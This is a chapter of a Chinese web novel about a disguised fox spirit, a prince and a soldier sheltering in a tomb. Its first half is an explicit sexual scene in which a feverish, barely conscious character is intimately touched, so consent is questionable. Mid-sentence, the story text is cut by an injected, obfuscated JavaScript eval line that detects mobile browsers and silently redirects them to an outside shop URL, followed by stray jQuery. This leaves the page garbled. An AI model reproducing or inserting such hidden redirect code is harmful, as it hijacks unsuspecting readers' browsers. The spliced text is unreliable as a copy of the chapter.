38. 解欲

作品:《倒霉皇子迎娶俏狐妖后

    面对霜序的哀求,楚明渊罕见地沉默,一动不动。


    霜序烧得神志昏沉,难以辨清那眼底的风暴。他只觉自己刺痒难耐,也不管楚明渊答不答应,抓住男人的手就按上自己颈间。


    手掌隔开了皮毛,霜序终于满意,轻轻叹息:“嗯……”


    仿佛承受不住这骤然的舒适,又或许是渴求更多,他的颈项愈发向后弯折,将脆弱的弧度拉长献出,等待人上前采撷。


    “……再……再用力……”他沙哑地喘息着。


    头顶,楚明渊叹了口气。


    他的左手正松松地圈住霜序脖颈,与自己宽厚而青筋微凸的手掌相比,那截颈子是如此细嫩雪白,他只需稍稍收紧两根手指,便能轻松折断。


    霜序自己却对此浑然不觉。


    他眼眸半阖,脸颊犹自依赖地蹭着楚明渊手腕,拉扯着这只手,在命门上反复厮磨。


    楚明渊终究妥协,手掌收拢,握着他的脖子上下摩挲。


    霜序极为受用,嗓子眼里发出呼噜呼噜的声音,又牵着楚明渊的手抚过自己肩膀,顺着光滑的肩头滑向锁骨。


    正要继续向下,楚明渊蓦地停住,声音低沉:


    “这里碰不得。”


    男人的嘴唇尚在张合,定是又要讲什么道理,可霜序听不清,也不愿去听。往常自己生病时,楚明渊总会更娇惯他一些,他相信这次也不会例外。


    于是,他不管不顾地拽紧那只手,直接按了下去。


    楚明渊全身一僵,指尖很轻微地颤抖起来。


    霜序虽生得清瘦,此刻他所触之处,却是格外柔软温香。他的手掌被温顺地充盈,掌心传来阵阵酥麻,迅速向周身蔓延开去。


    他闭了闭眼,目光移至霜序脸上。那张面孔此时春意盎然,眼角眉梢遍染桃色。


    霜序依旧不顾他在想什么,继续操控他的手,娇蛮地迫使他施加更重的力道。


    直至刺痒渐渐被揉散,他才又牵起楚明渊的手,继续向下。


    他的腰腹线条与楚明渊不同,并无块垒分明的刚硬棱角,肌理薄而柔韧。平坦紧致的腹部两侧是两道浅弧,优美地向内收束,勾出一截劲瘦腰肢。


    楚明渊一只手掌便能全然覆盖此处,拇指滑入两侧凹陷,指腹打着圈。


    “啊……”霜序控制不住地颤栗,长睫迷茫地眨动。


    ——方才一番抚触分明已经驱散了皮肤上的不适,为何身体深处又蒸腾起了另一种酥痒?


    像是火苗在骨血里灼烧,让他既想逃离,又渴望贴得更近。


    察觉到他的反应,楚明渊立刻停下了动作。


    “不要……”霜序却又急切地拉住他,抬起脸,眸子水雾迷蒙,迷离地望着他,“不要停……我还要……”


    再往下,就是……楚明渊的目光变深。


    柔腻雪白的腿肉在指腹下轻轻弹动,他顺着腿线缓缓滑下,掠过膝弯,抚过线条流畅的小腿肚,最终握住了霜序双足。


    他的手久久流连于此,两指圈住脚踝,拇指怜惜地摩挲那伶仃的踝骨。接着,又包裹住足心细细揉搓,将其捂暖。


    “不要……”霜序嘴角下撇,挣扎起来,“不要那里……要这里……”他的足尖胡乱踢蹬,想将那不合心意的手推回原位。


    楚明渊依言将手移回他上身,他连忙抓住那只大掌,压向自己。然而,不论他如何用力磨蹭,骨髓里的热意始终无法平息,还愈发灼人。


    他的眼角沁出泪珠,动作也乱了章法。他努力把肚子向上挺去,好像要把楚明渊的手生生按入体内,方能填满。


    恍惚间,他模糊听见楚明渊无奈地低声道:“……不是这般解法……”


    不等他想明白此话何意,楚明渊就伸手裹住了他。疯狂啃噬自己的难耐瞬间找到了宣泄口,被温柔而克制地引导,一点点平息……


    “唔……”他从未体会过这般舒爽,发出绵长的啜泣。身体失去力气,他融化在了那只手的掌控之中。


    痛苦与挣扎统统退去,他的唇角因餍足而上扬,眼睫垂落,沉入梦境……


    ——


    陆玄翊怀抱满满一摞书册与卷轴折返湖边,狐疑地抽了抽鼻子——


    空气中似乎弥漫着一股浓郁的甜腻香气。


    “回来了?”楚明渊的声音淡淡传来。


    他的左手浸在水中,听到脚步声才回过身,慢条斯理地甩了甩手上水珠。


    “啊,是。”陆玄翊把东西一股脑儿堆在地上,说,“我四处找遍了,没找到其它可生火之物,只有这些名家墨宝。虽暴殄天物,但眼下也只能如此……”


    扫过那堆一看便知是名家字画的卷轴,楚明渊轻轻颔首。


    陆玄翊便提起银枪往石棱上一划,火星迸溅,落在宣纸与绢帛上,迅速卷起火舌。


    等火烧旺,他又把银枪横架起来,弯腰拾起霜序的衣物,搭在枪杆上烘烤。


    他一直刻意避开目光,可在直起身的时候,还是忍不住瞥向蜷在楚明渊怀里的那个影子。


    楚明渊自是察觉了这一眼,起身将霜序抱到火堆旁靠坐。他仿佛只是随手为之,语气如常地继续问道:“你方才说,这后面有一间殿宇?”


    “是。”陆玄翊见霜序虽依旧烧得脸蛋通红,身体至少不再抽搐,暗自松了口气,答道,“那是一间书房,里头全是各种棋谱、古琴、书画之类。”


    “明白了。”楚明渊道,“我们先在此休整,恢复些气力再做打算。”


    被他们的谈话惊动,霜序的意识缓慢上浮。他方才好像做了一个漫长的梦,梦里一切都朦胧不清,唯一有点印象的,是楚明渊像给稚儿把尿般抱着他……


    怎么会做这么荒诞的梦?他百思不得其解。


    “醒了?”真的楚明渊走过来,托起他的脸,温声问道,“还冷不冷?”


    霜序想摇头,却牵动头痛,很快停下了。他蹙着眉,声音轻飘沙哑:“……不冷。你的手,好冰……”


    “是你的脸太烫了。”楚明渊手指顿了顿,在他身侧坐下,手臂将他揽靠过来,斜倚上自己肩头,“你在发高热。”


    霜序寻到一个舒服的位置枕在上面,眼珠慢吞吞地转动:“……我们这是在哪儿?”


    “还在墓中。别担心,此处暂时安全。”


    “嗯……”


    霜序静静倚靠楚明渊坐了一会儿,神智逐渐清明。


    眼前假山环绕,篝火噼啪作响,像极了自己以前栖身的狐狸洞。他因这熟悉的环境而放松下来,低头看着自己与楚明渊并排摆放的双腿,突然抬起小腿,斜着压到楚明渊腿上。


    “怎么?”楚明渊侧头看他,将袖袍覆上去,“盖着些,当心着凉。”


    心头暖融融的惬意正盛,霜序不与他计较,脚趾抓了抓,表示知晓。


    他左右张望,找了好久才发现陆玄翊独自坐在离火堆颇远的地方,开口唤道:“陆玄翊,你过来一点,好不好?我看不见你……”


    假山外露出的后脑勺动了一下,陆玄翊闷闷地说:“……不必,我坐这儿挺好。”


    霜序敏感地听出他语气中的疏离,当即一愣。他心绪起伏,胸腔也跟着发紧,顿时引出一阵呛咳。


    陆玄翊的脖颈绷得更紧,似乎


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483887|201907||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想回头,却又强自忍住。


    “你在那里,都烤不着火……”霜序咽下喉间血气,不安地追问,“你到底怎么了?”


    这回,陆玄翊直接“哧溜”滑到假山后去,连后脑勺都不给霜序看了。


    霜序彻底慌了。他努力回想,却因高热昏沉,怎么也想不出自己何时得罪了陆玄翊。他只得抬起眼,无助地望向楚明渊。


    楚明渊不欲过多插手,言简意赅地提点:“怀霄大约是发现你并非女子,一时难以接受。”


    闻言,霜序先是愕然,随后恍然大悟。


    他扭过头,朝陆玄翊消失的那片假山解释:“陆玄翊,我并非有意瞒你。是先前局势紧急,一直没找到机会同你说。而且,我以为……以为你……”


    他急于剖白,一口气说了太多,胸口窒闷难当,不得不一手按住心口。即便如此,他仍固执地盯着那片阴影:“我以为你在地窖时,便已识破我是男子之身,才未特意言明……你过来,好不好?若你不过来,我便过去寻你……咳咳咳……”


    说着,他真的将手撑在膝盖上,试图借力站起。可身体方离地寸许,就腿一软跌了回去。


    “……我没有生气。”


    好在,陆玄翊到底绕了出来。他跨到霜序面前蹲下,粗眉为难地拧在一起:“我也说不清楚心里滋味儿,就是怪得很,不知该如何面对你。”


    最初,他的确因此等绝色竟非女儿身而感到失望,也因被隐瞒而略有介怀。但这些情绪转瞬即逝,真正困住他的,是一种缘由不明的别扭与局促。


    就像此刻,他和楚明渊都脱了外袍烘烤,仅着一件中衣,他看楚明渊就坦坦荡荡,偏偏一触及霜序,燥热便直冲头顶,心跳也顿失方寸。


    明明已经知晓霜序是男子,与自己并无不同,为何这别扭就是挥之不去?


    “我现在看你,”他嘀咕道,“感觉你既不是女人,又不像男人……”


    楚明渊忍俊不禁,赶忙抬手掩住唇角。


    霜序却神色认真,捧住陆玄翊的脸,身体前倾,将他躲闪的目光牢牢定住。


    “有何不好面对?”他直直望进陆玄翊眼中,逼问,“我又未曾多生一只鼻子,或是少长一只眼睛,你从前如何看我,如今便如何看我。怎么,莫非你觉得女子不如男子入你的眼,还是男子不如女子配与你说话?”


    两人鼻尖几乎相触,陆玄翊脸又红了,慌忙讨饶:“错了错了!我错了!”


    霜序本就是强弩之末,手一松,软软地栽倒。陆玄翊赶紧抄起他,把他重新扶稳,靠回石头上坐好。


    方才的不自在被霜序这一摔彻底冲散,他挠了挠头,这才想起来问:“既然你并非女子,那你与殿下的婚事是……?”


    “也是假的。”霜序低低地咳了两声,说得平静,没注意到楚明渊看了自己一眼。


    “原来如此!”


    那他就不必挨那二十军棍了!陆玄翊顿时浑身轻松,眉开眼笑地挨着霜序坐下。


    “陆玄翊。”霜序忽然又轻声道,“若是日后,你发现我还瞒了你别的事……你要记得,并非是我觉得你不可信任才不告诉你,我只是怕你难以承受。”


    “好,我记住了!”陆玄翊用力点头,赧然道,“这回是我想岔了,我也不知道自己刚才怎么那么大惊小怪……”


    另一侧,楚明渊的眼神却沉了几分,捏了捏霜序后颈。


    霜序垂下眼帘,看着自己的双腿。火光勾勒出它们修长笔直的轮廓,可他知道,它们本该是短短的,覆盖着雪白绒毛,足底藏着爪子。


    自己装得再像,也终究不是人。